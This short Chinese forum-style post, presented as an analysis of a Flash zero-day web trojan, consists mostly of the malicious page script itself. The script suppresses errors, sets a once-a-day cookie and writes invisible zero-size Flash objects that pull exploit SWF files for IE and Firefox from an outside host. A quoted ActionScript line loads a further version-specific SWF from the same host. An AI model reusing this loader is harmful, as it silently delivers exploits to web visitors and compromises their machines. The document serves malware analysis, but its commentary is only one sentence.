对最新flash-0day网马分析!

<script>
window.onerror=function(){return true;}
function init(){window.status="";}window.onload = init;
if(document.cookie.indexOf("play=")==-1){
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="play=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">');
document.write('<param name="allowScriptAccess" value="sameDomain"/>');
document.write('<param name="movie" value="http://popphen.net.ru/flash/versionie.swf"/>');
document.write('<param name="quality" value="high"/>');
document.write('<param name="bgcolor" value="#ffffff"/>');
document.write('<embed src="http://popphen.net.ru/flash/versionie.swf"/>');
document.write('</object>');
}else
{document.write("<EMBED src=http://popphen.net.ru/flash/versionff.swf width=0 height=0>");}}
</script>

在那个swf里面有1句,估计是调用好多次才最后运行的...
var flashVersion = getVersion();
loadMovie("http://popphen.net.ru/flash/" + flashVersion + "ff.swf", _root);
stop ();